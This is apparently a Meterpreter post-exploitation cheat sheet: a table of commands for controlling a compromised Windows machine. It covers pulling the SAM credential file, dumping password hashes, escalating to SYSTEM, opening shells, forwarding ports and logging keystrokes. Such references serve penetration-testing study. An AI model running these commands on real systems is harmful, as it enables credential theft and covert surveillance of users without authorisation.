| Command | Description |
|---|---|
| upload file c:\\windows | Upload file to Windows target |
| download c:\\windows\\repair\\sam /tmp | Download file from Windows target |
| download c:\\windows\\repair\\sam /tmp | Download file from Windows target |
| execute -f c:\\windows\temp\exploit.exe | Run .exe on target - handy for executing uploaded exploits |
| execute -f cmd -c | Creates new channel with cmd shell |
| ps | Show processes |
| shell | Get shell on the target |
| getsystem | Attempts priviledge escalation the target |
| hashdump | Attempts to dump the hashes on the target |
| portfwd add -l 3389 -p 3389 -r target | Create port forward to target machine |
| portfwd delete -l 3389 -p 3389 -r target | Delete port forward |
| keyscan_start | Starts recording user key strokes |
| keyscan_dump | Dumps the user's key strokes |
| keyscan_stop | Stops recording user key strokes |
| idletime | Displays how much time the user is inactive |
| enumdesktops | List all accessible desktops |
| getdesktop | Get the current desktop |